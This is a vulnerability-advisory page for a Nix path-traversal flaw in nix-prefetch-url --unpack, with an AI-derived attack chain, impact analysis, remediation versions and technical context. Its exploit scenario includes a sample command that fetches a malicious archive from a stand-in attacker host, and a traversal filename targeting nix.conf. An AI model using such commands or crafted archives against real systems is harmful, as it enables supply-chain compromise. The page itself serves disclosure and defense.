Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker controls upstream archive source
-
DeliveryEmbeds path traversal sequences in archive
-
ExploitUser or CI/CD invokes nix-prefetch-url --unpack
-
InstallNix downloads archive without validation
-
C2Extracts files to arbitrary filesystem locations
-
ExecuteAttacker modifies build configuration or injects code
-
ImpactSubsequent builds execute attacker payload
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Absolute path validation
|
| Exploitation Conditions | The vulnerability requires invoking nix-prefetch-url or nix store prefetch-file with the --unpack flag against an archive source. The attacker must be able to control or influence the archive contents-either by hosting a malicious source directly, compromising an upstream source repository, or performing a man-in-the-middle attack on the download connection. Exploitation is blocked if: (1) the --unpack flag is not used (archives are not decompressed), (2) HTTPS with certificate pinning or verification prevents MITM attacks, (3) the source URL is restricted to trusted, internally-controlled repositories with strict access controls, or (4) the Nix process runs with minimal filesystem permissions, limiting the damage of arbitrary file writes. No user interaction is required beyond initiating the prefetch command. |
| Impact | The CVSS score of 5.3 reflects network accessibility and lack of authentication/user interaction requirements, but the actual risk is moderately low in practice due to several limiting factors. The vulnerability requires: (1) a user or automated process to invoke nix-prefetch-url or nix store prefetch-file with --unpack against an attacker-controlled or compromised source URL, and (2) the attacker to have the ability to influence the archive contents (either by controlling the upstream source or via MITM). The integrity impact (I:L) is limited because the attacker can only write files to locations writable by the Nix process owner, typically not system-critical directories in properly configured deployments. EPSS data is not provided, but the low CVSS score combined with the requirement for user action or specific deployment patterns (CI/CD systems auto-fetching from untrusted sources) suggests limited automated exploitation potential. This is not a critical vulnerability but warrants patching to prevent supply-chain attacks in environments that fetch packages from untrusted or partially-trusted sources. |
| Exploit ScenarioDerived | An attacker publishes a malicious package on a public source repository (or compromises an upstream package source) containing a crafted tar archive with path traversal sequences (e.g., files named '../../../etc/nix/nix.conf'). A developer or CI/CD system runs nix-prefetch-url https://attacker.example.com/malicious.tar.gz --unpack to fetch and extract the package. The vulnerable Nix version extracts the archive without validating paths, writing the attacker's content to arbitrary locations, potentially modifying build configuration, injecting code into subsequent builds, or altering system files if the Nix daemon runs with elevated privileges. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 05, 2026
Arbitrary file writing via directory traversal in Nix versions before 2.34.7 allows unauthenticated remote attackers to overwrite files on systems running vulnerable versions of nix-prefetch-url or nix store prefetch-file with the --unpack flag. The vulnerability exploits improper path validation during archive extraction, enabling an attacker to craft malicious packages that write to arbitrary filesystem locations when unpacked. CVSS 5.3 (AV:N/AC:L/PR:N/UI:N) reflects network-based exploitation without authentication, though real-world impact depends on file permissions and deployment context. No active exploitation has been confirmed in CISA KEV at time of analysis.
RemediationAI
Apply security patches immediately: upgrade to Nix 2.34.7 or later, or apply the specific fixed versions for your branch: 2.33.6, 2.32.8, 2.31.5, 2.30.5, 2.29.4, or 2.28.7. Patches are available from the NixOS GitHub repository (https://github.com/NixOS/nix/security/advisories/GHSA-gr92-w2r5-qw5p) and the NixOS security advisory (https://discourse.nixos.org/t/security-advisory-local-privilege-escalation-in-lix-and-nix/77407). Until patched, restrict use of nix-prefetch-url and nix store prefetch-file with --unpack flags to trusted, internally-controlled sources only; disable automated prefetch operations that target external or untrusted package sources in CI/CD pipelines. Consider pinning to specific, pre-verified archive hashes and avoiding dynamic source fetching until patched. These workarounds reduce but do not eliminate risk if source compromise is a concern.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The Nix package manager uses nix-prefetch-url and nix store prefetch-file commands to download and extract package sources. When the --unpack flag is used, these tools decompress archives (tar, zip, etc.) without properly validating path traversal sequences (e.g., '../' or absolute paths) within archive entries. This is a classic CWE-36 (Absolute Path Traversal) vulnerability. An attacker controlling the upstream source URL or intercepting the download can embed malicious paths in a crafted archive; when extracted, these paths bypass intended extraction directories and write files elsewhere on the filesystem. The vulnerability affects Nix versions from 2.24.7 through 2.34.6 and related stable release branches (2.33.x, 2.32.x, 2.31.x, 2.30.x, 2.29.x, 2.28.x).
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Primary rating from Vendor (mitre).
CVSS VectorVendor: mitre
Lifecycle Timeline
1DescriptionCVE.org
An issue was discovered in Nix before 2.34.7. Writing to arbitrary files can occur via "nix-prefetch-url --unpack" or "nix store prefetch-file --unpack" directory traversal. The fixed versions are 2.34.7, 2.33.6, 2.32.8, 2.31.5, 2.30.5, 2.29.4, and 2.28.7 (introduced in 2.24.7);
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
EUVD-2026-27166
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB